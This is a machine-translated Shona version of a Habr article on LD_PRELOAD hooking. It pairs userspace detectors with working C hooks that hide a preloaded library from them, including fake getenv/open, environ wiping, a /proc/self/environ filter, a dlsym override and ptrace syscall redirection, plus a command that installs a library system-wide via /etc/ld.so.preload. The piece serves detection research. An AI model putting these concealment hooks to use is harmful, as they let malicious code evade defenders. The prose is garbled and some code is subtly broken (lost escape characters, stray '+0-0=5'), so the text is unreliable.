Ichi chinyorwa chakanyorwa muna 2014, asi ndakangouya pasi pekudzvinyirirwa paHabré uye haina kuona chiedza chezuva. Panguva yekurambidzwa ndakazvikanganwa, asi zvino ndakazviwana muzvinyorwa. Ndakafunga kuidzima, asi pamwe ichabatsira mumwe munhu.
Kazhinji, zvishoma Chishanu admin kuverenga pamusoro penyaya yekutsvaga "inosanganisirwa" LD_PRELOAD.
1. Digression pfupi kune avo vasina kujairana nekutsiva basa
Vamwe vose vanogona kunanga p.2.
Ngatitange nemuenzaniso wekare:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand (time(NULL));
for(int i=0; i<5; i++){
printf ("%dn", rand()%100);
}
}
Isu tinogadzira pasina mireza:
$ gcc ./ld_rand.c -o ld_rand
Uye, sezvakatarisirwa, tinowana 5 nhamba dzisina kurongeka dzisingasviki zana:
$ ./ld_rand
53
93
48
57
20
Asi ngatimbofungidzira kuti isu hatina kodhi yekodhi yepurogiramu, asi tinofanira kuchinja maitiro.
Ngatigadzireiraibhurari yedu ine yedu basa prototype, semuenzaniso:
int rand(){
return 42;
}
$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so
Uye ikozvino sarudzo yedu isina kurongeka inonyatso kufungidzira:
# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42
Uhu hunyengeri hunotaridzika zvakanyanya kushamisa kana tikatanga kutumira raibhurari yedu kuburikidza
$ export LD_PRELOAD=$PWD/ld_rand.so
kana kuti tichatanga kuzviita
# echo "$PWD/ld_rand.so" > /etc/ld.so.preload
uye wobva wamhanyisa chirongwa semazuva ese. Hatina kushandura mutsara mumwechete wekodhi muchirongwa chacho, asi maitiro ayo zvino anoenderana nebasa diki muraibhurari yedu. Uyezve, panguva yekunyora purogiramu, iyo randi akanga asipo.
Chii chakaita kuti chirongwa chedu chishandise manyepo randi? Ngatitore nhanho nhanho.
Kana application yatanga, mamwe maraibhurari anotakurwa ane mabasa anodiwa nechirongwa. Tinogona kuvaona tichishandisa ldd:
# ldd ./ld_rand
linux-vdso.so.1 (0x00007ffc8b1f3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)
Rondedzero iyi inogona kusiyana zvichienderana neshanduro yeOS, asi panofanira kunge paine faira ipapo libc.so. Ndiyo raibhurari iyi inopa mafoni ehurongwa uye mabasa ekutanga akadai yakazaruka, malloc, kudhinda etc. Yedu randi ariwo pakati pavo. Ngative nechokwadi cheizvi:
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand
Ngationei kana seti yemaraibhurari ichichinja kana yashandiswa LD_PRELOAD
# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
linux-vdso.so.1 (0x00007ffea52ae000)
/scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
/lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)
Zvinoratidza kuti shanduko yaiswa LD_PRELOAD inomanikidza yedu kutakura ld_rand.so kunyange pasinei nokuti purogiramu pachayo haidi. Uye, kubva pabasa redu "randi" mitoro kare kupfuura randi от libc.so,anobva abata chigaro.
Zvakanaka, isu takakwanisa kutsiva basa rekuzvarwa, asi tingaite sei kuti tive nechokwadi chekuti kushanda kwayo kwakachengetedzwa uye zvimwe zviito zvinowedzerwa. Ngatigadzirise zvedu zvisina tsarukano:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
typedef int (*orig_rand_f_type)(void);
int rand()
{
/* Выполняем некий код */
printf("Evil injected coden");
orig_rand_f_type orig_rand;
orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
return orig_rand();
}
Pano, se "wedzero" yedu, tinongodhinda mutsara mumwe chete wezvinyorwa, mushure mezvo tinogadzira chinongedzo chebasa rekutanga. randi. Kuti tiwane kero yebasa iri tinoda dlsym ibasa rinobva kuraibhurari libdlizvo zvichawana zvedu randi mumurwi wemaraibhurari ane simba. Mushure mezvo tichadaidza basa iri uye todzorera kukosha kwayo. Saizvozvo, isu tichafanira kuwedzera "-ldl" panguva yekusangana:
$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so
$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95
Uye chirongwa chedu chinoshandisa "yekuzvarwa" randi, amboita zvinhu zvinonyadzisa.
2. Marwadzo ekutsvaga
Kuziva nezve njodzi inogona kuitika, tinoda kuona izvozvo preload Zvakaitwa. Zviripachena kuti nzira yakanakisa yekuona ndeyekuisundira mu kernel, asi ini ndaifarira sarudzo dzekuona muuserspace.
Zvadaro, mhinduro dzekuonekwa uye kuramba kwavo dzinouya dziri mbiri.
2.1. Ngatitange nyore
Sezvambotaurwa, unogona kutsanangura raibhurari kuti itakure uchishandisa shanduko LD_PRELOAD kana kuti nokuinyora mufaira /etc/ld.so.preload. Ngatigadzirei ma detectors maviri ari nyore.
Yekutanga ndeyekutarisa iyo set environment variable:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main()
{
char* pGetenv = getenv("LD_PRELOAD");
pGetenv != NULL ?
printf("LD_PRELOAD (getenv) [+]n"):
printf("LD_PRELOAD (getenv) [-]n");
}
Yechipiri ndeyekutarisa kana faira rakavhurwa:
#include <stdio.h>
#include <fcntl.h>
int main()
{
open("/etc/ld.so.preload", O_RDONLY) != -1 ?
printf("LD_PRELOAD (open) [+]n"):
printf("LD_PRELOAD (open) [-]n");
}
Ngatiisei mumaraibhurari:
$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload
$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]
Pano ne pazasi, [+] inoratidza budiriro yakaonekwa.
Saizvozvo, [-] zvinoreva kudarika kuonekwa.
Ko detector yakadaro inoshanda sei? Ngatitarisei kusiyanisa kwezvakatipoteredza kutanga:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
return orig_getenv(name);
}
$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]
Saizvozvowo, tinobvisa cheki yakazaruka:
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>
int (*orig_open)(const char*, int oflag) = NULL;
int open(const char *path, int oflag, ...)
{
char real_path[256];
if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0){
errno = ENOENT;
return -1;
}
return orig_open(path, oflag);
}
$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]
Ehe, dzimwe nzira dzekuwana faira dzinogona kushandiswa pano, senge, vhura64, Stat nezvimwewo, asi, chaizvoizvo, mitsara ye5-10 yekodhi inodiwa kuvanyengedza.
2.2. Ngatienderere mberi
Pamusoro takashandisa getenv() kuwana kukosha LD_PRELOAD, asi kunewo imwe nzira "yakaderera-yepamusoro" yekusvika ENV-siyana. Isu hatizoshandisa epakati mabasa, asi tichareva kune array ** nharaunda, iyo inochengeta kopi yezvakatipoteredza:
#include <stdio.h>
#include <string.h>
extern char **environ;
int main(int argc, char **argv) {
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++)
{
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL)
{
printf("LD_PRELOAD (**environ) [+]n");
return 0;
}
}
printf("LD_PRELOAD (**environ) [-]n");
return 0;
}
Sezvo pano isu tiri kuverenga data zvakananga kubva mundangariro, kufona kwakadaro hakugone kubatwa, uye yedu undetect_getenv hazvichavhiringidzi kuziva kupindira.
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]
Zvinoita sekuti dambudziko iri ragadziriswa? Zvichiri kutanga.
Mushure mokunge purogiramu yatangwa, kukosha kwekusiyana LD_PRELOAD hackers havachaida mundangariro, ndiko kuti, vanogona kuiverenga nekuidzima vasati vaita chero mirairo. Ehe, kugadzirisa array mundangariro, padiki, yakashata dhizaini, asi izvi zvingamisa sei munhu asinganyatsotishuvire zvakanaka zvakadaro?
Kuti tiite izvi tinoda kugadzira yedu yekunyepedzera basa ini (), umo isu tinopindira yakaiswa LD_PRELOAD uye ipfuure kune yedu linker:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;
// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
unsetenv(env);
break;
}
}
}
int execve(const char *path, char *const argv[], char *const envp[])
{
int i = 0, j = 0, k = -1, ret = 0;
char** new_env;
if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");
// Проверям не существует ли других установленных LD_PRELOAD
for(i = 0; envp[i]; i++){
if(strstr(envp[i], "LD_PRELOAD")) k = i;
}
// Если LD_PRELOAD не было установлено до нас, то добавим его
if(k == -1){
k = i;
i++;
}
// Создаём новое окружение
new_env = (char**) malloc((i+1)*sizeof(char*));
// Копируем старое окружение, за исключением LD_PRELOAD
for(j = 0; j < i; j++) {
// перезаписываем или создаём LD_PRELOAD
if(j == k) {
new_env[j] = (char*) malloc(256);
strcpy(new_env[j], "LD_PRELOAD=");
strcat(new_env[j], evil_env);
}
else new_env[j] = (char*) envp[j];
}
new_env[i] = NULL;
ret = orig_execve(path, argv, new_env);
free(new_env[k]);
free(new_env);
return ret;
}
Isu tinotora uye tarisa:
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]
2.3. /proc/self/
Nekudaro, ndangariro haisi nzvimbo yekupedzisira kwaunogona kuwana inotsiva LD_PRELOAD, pane zvakare / proc /. Ngatitangei nezviri pachena /proc/{PID}/environ.
Muchokwadi, kune mhinduro yepasirese ye undetect ** nharaunda и /proc/self/environ. Dambudziko ndere "zvisizvo" maitiro unsetenv(env).
sarudzo yakarurama
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
//unsetenv(env);
// Вместо unset просто обнулим нашу переменную
for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
break;
}
}
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Asi ngatimbofungidzira kuti hatina kuiwana uye /proc/self/environ ine "dambudziko" data.
Chekutanga ngatiedzei neyedu yapfuura "disguise":
$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so
katsi inoshandisa zvakafanana kuvhura faira vhura (), saka mhinduro yakafanana neyakatoitwa muchikamu 2.1, asi ikozvino tinogadzira faira renguva pfupi apo tinokopa kukosha kweyeuko yechokwadi pasina mitsara ine. LD_PRELOAD.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#define BUFFER_SIZE 256
int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";
char *sstrstr(char *str, const char *sub)
{
int i, found;
char *ptr;
found = 0;
for(ptr = str; *ptr != ' '; ptr++) {
found = 1;
for(i = 0; found == 1 && sub[i] != ' '; i++){
if(sub[i] != ptr[i]) found = 0;
}
if(found == 1)
break;
}
if(found == 0)
return NULL;
return ptr + i;
}
void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
int fd;
char buffer[BUFFER_SIZE];
int bytes = -1;
int wbytes = -1;
int k = 0;
pid_t pid = getpid();
int fh;
if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
exit (42);
}
if((fd=orig_open(original_path, O_RDONLY))==-1) {
printf("LD: Cannot open read-file.n");
exit(42);
}
do
{
char t = 0;
bytes = read(fd, &t, 1);
buffer[k++] = t;
//printf("%c", t);
if(t == ' ') {
//printf("n");
if(!sstrstr(buffer, "LD_PRELOAD")) {
if((wbytes = write(fh,buffer,k))==-1) {
//printf("write errorn");
}
else {
//printf("writed %dn", wbytes);
}
}
k = 0;
}
}
while(bytes != 0);
close(fd);
close(fh);
}
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
pid_t pid = getpid();
if(!orig_open)
orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
if(strcmp(real_path, proc_path) == 0) {
snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
realpath(proc_path_0, proc_path);
fakeMaps(real_path, proc_path, soname);
return orig_open(proc_path, oflag);
}
return orig_open(path, oflag);
}
Uye iyi nhanho yakapfuura:
$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Nzvimbo inotevera iri pachena /proc/self/maps. Hapana chikonzero chekugara pairi. Mhinduro yacho yakanyatsofanana neyakapfuura: kopira iyo data kubva pafaira bvisa mitsetse iri pakati libc.so и wdc.so.
2.4. Sarudzo kubva kuChokepoint
Ini ndainyanya kufarira mhinduro iyi nekuda kwekureruka kwayo. Isu tinoenzanisa kero dzemabasa akatakurwa zvakananga kubva libc, uye “NEXT” kero.
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"
int main(int argc, char *argv[]) {
void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
char *syscall_open = "open";
int i;
void *(*libc_func)();
void *(*next_func)();
libc_func = dlsym(libc, syscall_open);
next_func = dlsym(RTLD_NEXT, syscall_open);
if (libc_func != next_func) {
printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
printf("Libc address: %pn", libc_func);
printf("Next address: %pn", next_func);
}
else {
printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
}
return 0;
}
Kurodha raibhurari nepakati "vhura ()" uye tarisa:
$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135
Kuramba kwacho kwakazove nyore:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
return _dl_sym (handle, symbol, dlsym);
}
# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]
2.5. Syscalls
Zvinoita sekunge izvi ndizvo zvese, asi isu tichakarukana. Kana tikatungamira iyo system yekufona yakananga kune kernel, izvi zvinodarika iyo yese yekubira maitiro. Mhinduro iri pazasi, hongu, inoenderana nekuvaka (x86_64) Ngatiedzei kuishandisa kuti tione pakavhurwa ld.so.preload.
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUFFER_SIZE 256
int syscall_open(char *path, long oflag)
{
int fd = -1;
__asm__ (
"mov $2, %%rax;" // Open syscall number
"mov %1, %%rdi;" // Address of our string
"mov %2, %%rsi;" // Open mode
"mov $0, %%rdx;" // No create mode
"syscall;" // Straight to ring0
"mov %%eax, %0;" // Returned file descriptor
:"=r" (fd)
:"m" (path), "m" (oflag)
:"rax", "rdi", "rsi", "rdx"
);
return fd;
}
int main()
{
syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
printf("LD_PRELOAD (open syscall) [+]n"):
printf("LD_PRELOAD (open syscall) [-]n");
}
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
Uye dambudziko iri rine mhinduro. Chidimbu kubva murume'A:
ptrace chishandiso chinobvumira maitiro emubereki kuona uye kudzora kufambira mberi kweimwe maitiro, kuona uye kushandura data rayo nemarejista. Kazhinji basa iri rinoshandiswa kugadzira mabreakpoints muchirongwa chedebugging uye kuona system mafoni.
Maitiro emubereki anogona kutanga kuteedzera nekutanga kudaidza forogo(2), uyezve inozoitika maitiro emwana anogona kuita PTRACE_TRACEME, inoteverwa (kazhinji) nekuita exec(3). Kune rimwe divi, maitiro emubereki anogona kutanga kugadzirisa maitiro aripo uchishandisa PTRACE_ATTACH.
Paunenge uchitsvaga, maitiro emwana anomira pese paanogashira chiratidzo, kunyangwe kana chiratidzo chisina kufuratirwa. (Kusiyapo ndekweSIGKILL, inoshanda zvakajairika.) Maitiro emubereki achaziviswa nezve izvi nekufonera wait(2), mushure mezvo anogona kuona nekugadzirisa zviri mukati megadziriro yemwana isati yatanga. Maitiro emubereki anobva abvumira mwana kuti arambe achimhanya, mune dzimwe nguva achiregeredza chiratidzo chakatumirwa kwairi kana kutumira imwe chiratidzo panzvimbo).
Nekudaro, mhinduro ndeyekutarisa maitiro, kuimisa isati yafona yega yega system uye, kana zvichidikanwa, tungamira tambo kune hoko basa.
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>
#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip
#endif
long NOHOOK = 0;
long evil_open(const char *path, long oflag, long cflag)
{
char real_path[PATH_MAX], maps_path[PATH_MAX];
long ret;
pid_t pid;
pid = getpid();
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0)
{
errno = ENOENT;
ret = -1;
}
else
{
NOHOOK = 1; // Entering NOHOOK section
ret = open(path, oflag, cflag);
}
// Exiting NOHOOK section
NOHOOK = 0;
return ret;
}
void init()
{
pid_t program;
// Форкаем дочерний процесс
program = fork();
if(program != 0) {
int status;
long syscall_nr;
struct user_regs_struct regs;
// Подключаемся к дочернему процессу
if(ptrace(PTRACE_ATTACH, program) != 0) {
printf("Failed to attach to the program.n");
exit(1);
}
waitpid(program, &status, 0);
// Отслеживаем только SYSCALLs
ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
while(1) {
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
if(WIFEXITED(status) || WIFSIGNALED(status)) break;
else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
// Получаем номер системного вызова
syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
if(syscall_nr == __NR_open) {
// Читаем слово из памяти дочернего процесса
NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
// Перехватываем вызов
if(!NOHOOK) {
// Копируем регистры дочернего процесса
// в переменную regs родительского
ptrace(PTRACE_GETREGS, program, 0, ®s);
// Push return address on the stack
regs.REG_SP -= sizeof(long);
// Копируем слово в память дочернего процесса
ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
// Устанавливаем RIP по адресу evil_open
regs.REG_IP = (unsigned long) evil_open;
// Записываем состояние регистров процесса
ptrace(PTRACE_SETREGS, program, 0, ®s);
}
}
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
}
}
exit(0);
}
else {
sleep(0);
}
}
Tinotarisa:
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]
+0-0=5
Kutenda kwazvo
, ane zvinyorwa, zvinyorwa uye zvirevo zvakaita zvakawanda kupfuura zvandakaita kuti chinyorwa ichi chioneke pano.
Source: www.habr.com